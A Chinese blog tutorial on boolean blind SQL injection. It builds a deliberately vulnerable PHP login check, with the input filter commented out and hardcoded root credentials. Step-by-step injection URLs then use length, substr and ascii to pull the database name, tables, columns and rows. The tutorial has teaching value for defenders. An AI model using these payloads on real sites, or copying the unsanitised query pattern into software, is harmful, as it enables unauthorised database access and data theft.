美文网首页
sql注入-bool盲注

sql注入-bool盲注

作者: 没心没肺最开心 | 来源:发表于2022-08-30 11:31 被阅读0次

    用PHP写的脚本,主要PHP太方便了。。。
    index.php文件

    <?php
    include "help.php";
    error_reporting(0);
    
    if($_GET['action'] == '1'){
        // $_GET = help::filter_parmas($_GET );
        $name = $_GET['name'];
        $res = help::get_sql_res("select * from users where name = '{$name}'");
        if($res){
            echo $_GET['name']."你好";
        }else{
            echo "游客你好";
        }
    }
    
    

    help.php文件

    class help{
        public static function filter_parmas($val)
        {
            if (is_string($val)) {
                return addslashes($val);
                // return htmlspecialchars(addslashes($val));
            }
            if (is_array($val)) {
                foreach ($val as $k => $v) {
                    $val[$k] = help::filter_parmas($v);
                }
                return $val;
            }
            return $val;
        }
    
        public static function get_sql_res($sql){
            $mysql_conf = array(
    
                'host'    => '192.168.108.172:3306', 
                'db'      => 'test', 
                'db_user' => 'root', 
                'db_pwd'  => 'root', 
            
                );
            
            $pdo = new PDO("mysql:host=" . $mysql_conf['host'] . ";dbname=" . $mysql_conf['db'], $mysql_conf['db_user'], $mysql_conf['db_pwd']);//创建一个pdo对象
            
            $pdo->exec("set names 'utf8'");
            
            // $sql = "select * from users where name = ?";
            
            $stmt = $pdo->prepare($sql);
            $rs = $stmt->execute();
            if ($rs) {
                // PDO::FETCH_ASSOC 关联数组形式
                // PDO::FETCH_NUM 数字索引数组形式
                while ($row = $stmt->fetchAll(PDO::FETCH_ASSOC)) {
                    return $row;
                }
            }
            $pdo = null;//关闭连接
        }
    }
    

    1、sql注入

    action = 1
    正常
    http://test.com/?action=1&name=xiaoming
    sql注入
    http://test.com/?action=1&name=1%27%20OR%20%271%27=%271

    盲注简介

    盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。如本文中index.php中,我们可以看到不管怎么样我们没发改变返回值。这种就是盲注。

    主要数据库使用函数:

    length() : 返回字符串长度
    substr() :截取字符串 (语法:substr(string,start,leng))
    ascii() : 返回字符的ascii码(将字符等变为数字)
    sleep() : 需要延迟的时间
    if(str1,str2,str3) : 判断语句,如果第一个语句正确,就执行第二个,如果错误就执行第三个

    bool 盲注

    1、查找数据库长度

    http://test.com/?action=1&name=xiaoming' and length(database()) = '4

    2、通过ascii码,查找数据库名称

    http://test.com/?action=1&name=xiaoming' and (ascii(substr(database(),1,1))) = '116
    int(116) --t
    int(101) --e
    int(115) --s
    int(116) --t

    3、获取表名

    http://test.com/?action=1&name=xiaoming' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 16,1),1,1))='117
    int(117) --u
    int(115) --s
    int(101) --e
    int(114) --r
    int(115) --s

    4、获取字段
    核心sql:
    select column_name from information_schema.columns
    where table_schema=database() and table_name='user'

    http://test.com/?action=1&name=xiaoming' and ascii(substr((select column_name from information_schema.columns
    where table_schema=database() and table_name='user' limit 0,1),1,1)) = '105

    int(105) --i

    5、查询数据

    http://test.com/?action=1&name=xiaoming' and (ascii(substr((select id from users limit 1,1),1,1)))='49

    int(49) --1

    有空可以自己写个循环脚本试试哈

    相关文章

      网友评论

          本文标题:sql注入-bool盲注

          本文链接:https://www.haomeiwen.com/subject/kgkdnrtx.html